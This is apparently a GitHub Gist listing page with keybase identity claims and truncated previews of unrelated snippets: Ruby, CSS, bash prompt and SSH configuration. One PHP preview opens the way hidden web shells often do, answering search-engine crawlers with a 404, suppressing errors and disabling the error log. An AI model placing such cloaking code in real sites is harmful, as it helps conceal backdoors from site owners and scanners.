I hereby claim:
- I am alexey on github.
- I am gaggleampalexey (https://keybase.io/gaggleampalexey) on keybase.
- I have a public key ASBWw5EWPmxkb-DJdIUhnn3xxvHONVRh9518OrbDTT63sAo
To claim this, I am signing this object:
#!/usr/bin/env ruby -w | |
# SETUP: | |
# Copy this file to your $PATH | |
# cp colorize.rb ~/colorize (or symlink) | |
# chmod +x ~/bin/colorize | |
# | |
# USAGE: | |
# tail -f log/development.log | colorize | |
# rails server | colorize |
I hereby claim:
To claim this, I am signing this object:
Inspired by activeadmin_addons and its Enum Integration I want to make similar functionality for AASM by letting users change events depending on their abilities and available events/statuses in model.
Sorry i have no time to create an addon right now for this gem but i will try to do it soon. Feel free to modify, use it and integrate. Ask me any question if you need!
Gem: ActiveAdmin,
require 'rubygems' | |
require 'aws-sdk' | |
# This code snippet sends a push notification to a device using the Amazon SNS service. | |
# | |
# It is using the preview V2 amazon gem as per: | |
# https://aws.amazon.com/sdk-for-ruby/ | |
# | |
# This was installed using: | |
# $ gem install aws-sdk --pre |
/* | |
Dribbble | |
------------------------------------------------------------ */ | |
a.button-dribbble { | |
background-color: #c93764; /* fallback color */ | |
background: -moz-linear-gradient(top, #ea4c89, #c93764); | |
background: -ms-linear-gradient(top, #ea4c89, #c93764); | |
background: -webkit-linear-gradient(top, #ea4c89, #c93764); | |
border: 1px solid #c93764; |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { | |
header('HTTP/1.0 404 Not Found'); | |
exit; | |
} | |
} | |
@session_start(); | |
@ini_set('error_log',NULL); |
echo 'UseDNS no # if slow connection' >> /etc/ssh/sshd_config
echo 'PrintMotd yes # if you need motd messages' >> /etc/ssh/sshd_config
From /etc/pam.d/login && /etc/pam.d/sshd delete all strings included
session optional pam_motd.so
# Configure colors here | |
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then | |
c_reset='\[\e[0m\]' | |
c_user='\[\033[1;35m\]' | |
c_path='\[\e[1;34m\]' | |
c_git_clean='\[\e[1;32m\]' | |
c_git_dirty='\[\e[1;31m\]' | |
else | |
c_reset= | |
c_user= |
# Configure colors, if available. | |
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then | |
c_reset='\[\e[0m\]' | |
c_user='\[\033[1;33m\]' | |
c_path='\[\e[0;33m\]' | |
c_git_clean='\[\e[0;36m\]' | |
c_git_dirty='\[\e[0;35m\]' | |
else | |
c_reset= | |
c_user= |
# Guide | |
# Configure the essential configurations below and do the following: | |
# | |
# Repository Creation: | |
# cap deploy:repository:create | |
# git add . | |
# git commit -am "initial commit" | |
# git push origin master | |
# | |
# Initial Deployment: |